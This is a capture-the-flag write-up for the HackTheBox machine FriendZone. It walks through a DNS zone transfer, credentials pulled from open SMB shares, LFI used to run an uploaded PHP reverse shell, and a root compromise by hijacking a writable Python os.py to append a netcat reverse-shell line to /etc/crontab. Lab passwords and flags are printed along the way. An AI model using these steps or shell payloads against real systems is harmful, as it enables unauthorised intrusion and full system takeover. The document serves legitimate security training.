Cecil Daemon

cecil@celestial:/friendzone-htb $


FriendZone - HackTheBox

Estimated read time: 14 minutes

Introduction

Hello there, virgins. Today we are going to be solving the worst problem ever: owning FriendZone on HackTheBox. Jokes aside, this is a an easy difficulty machine that will provide us more knowledge about DNS zone transfers. You can access this box here.

Challenge description

For the leve description, we have:

FriendZone is an easy difficulty Linux box which needs fair amount enumeration. By doing a zone transfer vhosts are discovered. There are open shares on samba which provides credentials for an admin panel. From there, an LFI is found which is leveraged to get RCE. A cron is found running which uses a writable module, making it vulnerable to hijacking.

As we can see, we will be performing zone transfers to find VHosts (Virtual Hosts).

Approach mindset

For our approach mindset, we shall separate it as the following steps:

  1. Reconnaissance
  2. Getting foothold
  3. System enumeration
  4. Privilege escalation

Step 1 - Reconnaissance

We start by enumerating the system’s TCP ports:

$ sudo nmap -p- -T4 --min-rate 1000 -oN ports.nmap -A -Pn 10.129.35.124
# Nmap 7.94 scan initiated Thu Jan 18 13:12:35 2024 as: nmap -p- -T4 --min-rate 1000 -oN ports.nmap -A -Pn 10.129.35.124
Warning: 10.129.35.124 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.129.35.124
Host is up (0.50s latency).
Not shown: 64930 closed tcp ports (reset), 598 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
445/tcp open  netbios-p   Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Aggressive OS guesses: Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.13 (93%), Linux 3.18 (93%), Linux 3.2 - 4.9 (93%), DD-WRT v3.0 (Linux 4.4.2) (93%), Linux 4.10 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: mean: 2h22m34s, deviation: 1h09m10s, median: 3h02m30s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2024-01-18T18:21:42+02:00
| smb2-time: 
|   date: 2024-01-18T16:21:42
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

TRACEROUTE (using port 8080/tcp)
HOP RTT       ADDRESS
1   946.09 ms 10.10.16.1
2   946.18 ms 10.129.35.124

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 18 13:19:58 2024 -- 1 IP address (1 host up) scanned in 442.67 seconds

As we can see, we have ports 21, 22, 53, 80, 139, 443, and 445 open. Nothing too interesting about FTP, since Anonymous login is disabled. Having port 53 open indicates that we have a DNS service listening on TCP, which is a strong indication that this server is not just a DNS client, but also a DNS server. Typically, DNS queries are handled over UDP, but TCP is used for operations that require reliability and for larger responses, such as zone transfers.

We also see that the TLS common name is friendzone.red. That being said, we might have a way to zone transfer this domain name to the machine’s IP address and retrieve subdomains under that name. To do so, we will be using dig:

$ dig axfr friendzone.red @10.129.35.124

; <<>> DiG 9.18.21 <<>> axfr friendzone.red @10.129.35.124
;; global options: +cmd
friendzone.red.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red.         604800  IN      AAAA    ::1
friendzone.red.         604800  IN      NS      localhost.
friendzone.red.         604800  IN      A       127.0.0.1
administrator1.friendzone.red. 604800 IN A      127.0.0.1
hr.friendzone.red.      604800  IN      A       127.0.0.1
uploads.friendzone.red. 604800  IN      A       127.0.0.1
friendzone.red.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 483 msec
;; SERVER: 10.129.35.124#53(10.129.35.124) (TCP)
;; WHEN: Thu Jan 18 17:07:52 UTC 2024
;; XFR size: 8 records (messages 1, bytes 289)

From here, we see that we have lots of subdomains pointing to this address, and the transfer was successful. To access these endpoints, we are going to be adding them to our /etc/hosts file: echo "10.129.35.124 friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red >> /etc/hosts.

If we try to access the administrator’s subdomain, we are welcomed with a login page:

admin login

But we do not have any credentials to log in. From the machine info, we see that credentials are stored in a SMB share that has public access. Let’s enumerate the shares and find these credentials:

$ smbclient --no-pass -L 10.129.35.124

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        Files           Disk      FriendZone Samba Server Files /etc/Files
        general         Disk      FriendZone Samba Server Files
        Development     Disk      FriendZone Samba Server Files
        IPC$            IPC       IPC Service (FriendZone server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

And after connecting to Development and general, we find the credentials in the latter:

$ smbclient --no-pass //10.129.35.124/general
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Jan 16 20:10:51 2019
  ..                                  D        0  Tue Sep 13 14:56:24 2022
  creds.txt                           N       57  Tue Oct  9 23:52:42 2018

                3545824 blocks of size 1024. 1540052 blocks available
smb: \> get creds.txt
getting file \creds.txt of size 57 as creds.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit
$ cat creds.txt
creds for the admin THING:

admin:WORKWORKHhallelujah@#

After that, we rush back to the administrator1 subdomain to successfully log in. Now, we have access to this endpoint:

admin dashboard

The page seems to be asking for URL parameters image_id and pagename. Let’s find out what happens here when we pass the default parameters suggested by the page:

inside calls from dashboard

It seems the page is able to display another page that resides server-side if we pass it under pagename. This does not help much, however, we might be able to upload a test page to some of the SMB shares and access it with LFI technique. Acessing the Development share with smbclient, we see that we are able to upload files into it:

smb: \> put creds.txt
putting file creds.txt as \creds.txt (0.1 kb/s) (average 0.1 kb/s)
smb: \> dir
  .                                   D        0  Thu Jan 18 20:28:52 2024
  ..                                  D        0  Tue Sep 13 14:56:24 2022
  creds.txt                           A       57  Thu Jan 18 20:28:53 2024

However, we need to find the path to this file in order to display it under the admin dashboard. To do so, we will be using Nmap again:

$ nmap --script smb-enum-shares.nse 10.129.35.124 -p 445
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-18 17:27 UTC
Stats: 0:00:34 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 0.00% done
Nmap scan report for friendzone.red (10.129.35.124)
Host is up (0.15s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.129.35.124\Development: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\Development
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
[...snip...]

As we can see, the path to this directory is /etc/Development. However, after attempting to display creds.txt on the page, I had no success. Maybe the service only displays php files? That’s what we are going to try now. Let’s create a php script:

<?php
echo '<h1>mula</h1>';
?>

save it under test.php and upload it to the Development share. Now, we try to access it by giving pagename=/etc/Development/test:

successful LFI

Confirming the vulnerability!

Step 2 - Getting foothold

We will now upload PentestMonkey reverse shell (you can get it here) to the Development share. Before that, change the $ip and $port variables inside the reverse shell to match the one of your local machine. Then, we can upload it to the machine with SMB:

$ smbclient --no-pass //10.129.35.124/Development
Try "help" to get a list of possible commands.
smb: \> put rev-shell.php
putting file rev-shell.php as \rev-shell.php (9.4 kb/s) (average 9.4 kb/s)

Now, we start our netcat on the port we assigned on the $port variable and pass the parameter in the URL pagename=/etc/Development/rev-shell:

$ nc -lvnp 1234
Connection from 10.129.35.124:37272
Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 22:50:45 up  4:50,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 

and we are inside! After poking around the web-service files, I stumbled upon a file named mysql_data.conf, which contained the following content:

$ pwd
/var/www/friendzone
$ ls
admin
friendzone
friendzoneportal
friendzoneportaladmin
html
mysql_data.conf
uploads
$ cat mysql_data.conf
for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ

Revealing the friend user password to be Agpyu12!0.213$. Even though this password might be for MySQL service, we can try to use it to SSH into the machine as friend. We will see that this is actually the SSH user’s password as well:

friend@FriendZone:~$ id
uid=1000(friend) gid=1000(friend) groups=1000(friend),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
friend@FriendZone:~$ cat user.txt
627c48e56e0344b5b54fcd021f9bc8aa

Step 3 - System enumeration

Using LinPEAS, I was able to enumerate the machine and find group writable files. These are the ones that are most interesting to me:

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                      
/dev/mqueue                                                                                                                            
/dev/shm
/etc/Development
/etc/Development/creds.txt
/etc/Development/hacked.php
/etc/Development/rev-shell.php
/etc/Development/test.php
/etc/sambafiles
/home/friend
/run/lock
/run/user/1000
/run/user/1000/gnupg
/run/user/1000/systemd
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/usr/lib/python2.7
/usr/lib/python2.7/os.py
/usr/lib/python2.7/os.pyc
/var/lib/php/sessions
/var/mail/friend
/var/spool/samba
/var/tmp

However, since we are supposed to exploit crontabs, we need ways to execute such files and set up a cronjob to spawn a root shell. For that to work, we would need a file that is being ran as root that was possibly world writable. However, none of these above are being run by root. I’ve then uploaded PSPY to the machine and found these interesting lines:

[...snip...]
2024/01/18 23:26:59 CMD: UID=0    PID=13     | 
2024/01/18 23:26:59 CMD: UID=0    PID=12     | 
2024/01/18 23:26:59 CMD: UID=0    PID=115    | 
2024/01/18 23:26:59 CMD: UID=0    PID=11     | 
2024/01/18 23:26:59 CMD: UID=0    PID=10     | 
2024/01/18 23:26:59 CMD: UID=0    PID=1      | /sbin/init splash 
2024/01/18 23:28:01 CMD: UID=0    PID=23018  | 
2024/01/18 23:28:01 CMD: UID=0    PID=23017  | /bin/sh -c /opt/server_admin/reporter.py 
2024/01/18 23:28:01 CMD: UID=0    PID=23016  | /usr/sbin/CRON -f 
[...snip...]

There is a process being ran as root, which is related to this reporter.py file. Let’s take a look at it:

friend@FriendZone:~$ cat /opt/server_admin/reporter.py 
#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

I immediately notice that this script imports os, which appeared in LinPEAS as a group writable file. If this is the case, and reporter.py imports os, we can write a line there to automatically add a cronjob to spawn a reverse shell.

Step 4 - Privilege escalation

We can write these lines into the os.py file:

shell = '''
* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your-ip> 4444 >/tmp/f
'''
f = open('/etc/crontab', 'a')
f.write(shell)
f.close()

Substituting <your-ip> by the IP of your local machine. We can see that the cronjob was successfully added:

friend@FriendZone:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

Now, we start our netcat on port 4444 and wait… After a while, we get the root shell:

$ nc -lnvp 4444
Connection from 10.129.35.203:34736
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt
132c1657472872848c0de6549a1d2a97

Conclusion

In this CTF, we learned a bit more about zone transfers and cronjobs. I really enjoyed the process to get the user shell, but the system was quite boring. Every time I have to dabble with cronjobs, I become very unenthusiastic and somewhat disinterested. Cronjob-related tasks often boil down to waiting for the right moment or repeatedly checking log files, which doesn’t quite give the same thrill as more interactive and dynamic aspects of system penetration and exploration.

Nevertheless, I hope you liked this write-up and learned something new. As always, don’t forget to do your research!

Go back